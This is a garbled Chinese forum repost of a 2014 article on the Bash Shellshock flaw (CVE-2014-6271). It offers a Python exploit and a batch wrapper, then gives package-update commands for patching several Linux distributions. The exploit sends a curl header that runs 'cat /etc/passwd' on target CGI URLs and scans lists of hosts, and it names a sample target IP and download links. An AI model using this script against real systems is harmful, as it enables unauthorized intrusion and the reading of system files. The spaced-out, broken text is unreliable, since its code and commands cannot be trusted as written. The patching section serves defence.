[8308] 2014-09-28_Bash漏洞批量检测工具与修复方案

文档创建者:s7ckTeam
浏览次数:39
最后更新:2025-01-17
2014-09-28_Bash漏洞批量检测工具与修复方案 B a s h F r e e B u f   2 0 1 4 - 0 9 - 2 8 L i n u x B a s h B a s h B a s h C V E 2 0 1 4 - 6 2 7 1 : z i w e n d n 8 . n e t p y t h o n   2 . 7 # ! / u s r / b i n / e n v   p y t h o n # c o d i n g : u t f - 8 i m p o r t   o s i m p o r t   s y s i m p o r t   r e p r i n t   " f 4 c k   z i w e n   c v e   2 0 1 4   6 2 7 1   e x p   a t t a c k i n g ! " i f   s y s . a r g v [ 1 ] . s t a r t s w i t h ( ' - ' ) :         o p t i o n   =   s y s . a r g v [ 1 ] [ 1 : ]         i f   o p t i o n   = =   ' u r l ' :                 b = s y s . a r g v [ 2 ]                 i f   n o t   r e . m a t c h ( " h t t p " , s y s . a r g v [ 2 ] ) :                         p r i n t   " U R L   h t t p : / / w w w . b a i d u . c o m / 1 . c g i "                                 e l s e :                         o u t = r e . s u b ( " . | / " , " " , b )                         o u t = o u t [ 7 : ]                         p r i n t   " s h a h d a s h h d d " , o u t , b                         a = " c u r l   - H   ' x :   ( )   {   : ; } ; a = ` / b i n / c a t   / e t c / p a s s w d ` ; e c h o   " a :   $ a " '   ' " + b + " '   - I   - o   " + o u t + " " o u t p u t " . t x t "                         o s . s y s t e m ( a )                         f   =   o p e n ( o u t + " o u t p u t . t x t " ,   ' r ' )                         a = f . r e a d ( )
                        i f   r e . s e a r c h ( " r o o t | b i n / b a s h " , a ) :                                 p r i n t   " t a r g e t   p o s s i b l e   h a v e   b u g   u n d e r   i s   * n i x   p a s s w d   f i l e "                                 p r i n t   a                         e l s e :                                 f . c l o s e ( )                                 o s . r e m o v e ( o u t + " o u t p u t . t x t " )                                 p r i n t   " p o s s i b l e   d o n t   h a v e   b u g !   o r   h a v e   a   w a f ! "         e l s e :                 p r i n t   " e r r o r !   U   c a n   e m a i l   t o   m e   U   q u e s t i o n   ( z i w e n @ 2 1 . w f ) "                 p r i n t   o p t i o n h t t p : / / p a n . b a i d u . c o m / s / 1 i 3 o V F V 3   p a s s w d + o u t p u t t x t p y t h o n   c : e x p . p y   - u r l   h t t p : / / 2 3 . 2 3 9 . 2 0 8 . 1 0 5 / c g i - b i n / p o c . c g i B a s h # ! / u s r / b i n / e n v   p y t h o n # c o d i n g : u t f - 8 i m p o r t   o s i m p o r t   s y s P A T H = s y s . p a t h [ 0 ] + " / " t e x t = o p e n ( P A T H + " t a r g e t . t x t " , ' r ' ) f o r   l i n e   i n   t e x t :         p r i n t   l i n e         o s . s y s t e m ( " p y t h o n   " + P A T H + " e x p . p y   - u r l   " + l i n e ) h t t p : / / p a n . b a i d u . c o m / s / 1 s j B F W h n E X P     t a r g e t . t x t h t t p : / / w w w . b a i d u . c o m h t t p : / / 2 3 . 2 3 9 . 2 0 8 . 1 0 5 / c g i - b i n / p o c . c g i   便     p a s s w d   + o u t p u t t x t e x p . p y   E X P . P Y b a t c h . p y e x p . p y   b a t c h . p y
l i n u x L i n u x h t t p : / / p a n . b a i d u . c o m / s / 1 h q 7 o C Y w w i n d o w s w i n d o w s h t t p : / / p a n . b a i d u . c o m / s / 1 k T m j N K V c u r l C U R L C U R L L i n u x   L i n u x 使   c e n t o s : ( ) y u m   c l e a n   a l l   y u m   m a k e c a c h e   y u m   - y   u p d a t e   b a s h u b u n t u : ( )   a p t - g e t   u p d a t e   a p t - g e t   - y   i n s t a l l   - - o n l y - u p g r a d e   b a s h d e b i a n : ( )   7 . 5   6 4 b i t   & &   3 2 b i t   a p t - g e t   u p d a t e   a p t - g e t   - y   i n s t a l l   - - o n l y - u p g r a d e   b a s h 6 . 0 . x   6 4 b i t   w g e t   h t t p : / / m i r r o r s . a l i y u n . c o m / d e b i a n / p o o l / m a i n / b / b a s h / b a s h _ 4 . 1 - 3 + d e b 6 u 2 _ a m d 6 4 . d e b   & &     d p k g   - i   b a s h _ 4 . 1 - 3 + d e b 6 u 2 _ a m d 6 4 . d e b 6 . 0 . x   3 2 b i t   w g e t   h t t p : / / m i r r o r s . a l i y u n . c o m / d e b i a n / p o o l / m a i n / b / b a s h / b a s h _ 4 . 1 - 3 + d e b 6 u 2 _ i 3 8 6 . d e b   & &     d p k g   - i   b a s h _ 4 . 1 - 3 + d e b 6 u 2 _ i 3 8 6 . d e b a l i y u n   l i n u x : ( )   5 . x   6 4 b i t   w g e t   h t t p : / / m i r r o r s . a l i y u n . c o m / c e n t o s / 5 / u p d a t e s / x 8 6 _ 6 4 / R P M S / b a s h - 3 . 2 - 3 3 . e l 5 _ 1 0 . 4 . x 8 6 _ 6 4 . r p m   & &   r p m   - U v h   b a s h - 3 . 2 - 3 3 . e l 5 _ 1 0 . 4 . x 8 6 _ 6 4 . r p m 5 . x   3 2 b i t   w g e t   h t t p : / / m i r r o r s . a l i y u n . c o m / c e n t o s / 5 / u p d a t e s / i 3 8 6 / R P M S / b a s h - 3 . 2 - 3 3 . e l 5 _ 1 0 . 4 . i 3 8 6 . r p m     & &   r p m   - U v h   b a s h - 3 . 2 - 3 3 . e l 5 _ 1 0 . 4 . i 3 8 6 . r p m
o p e n s u s e : ( )   z y p p e r   c l e a n   z y p p e r   r e f r e s h   z y p p e r   u p d a t e   - y   b a s h [ h t t p : / / b b s . a l i y u n . c o m / r e a d / 1 7 6 9 7 7 . h t m l ? s p m = 5 1 7 6 . 7 1 8 9 9 0 9 . 3 . 1 5 . s Z T g s t , F r e e B u f . C O M ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则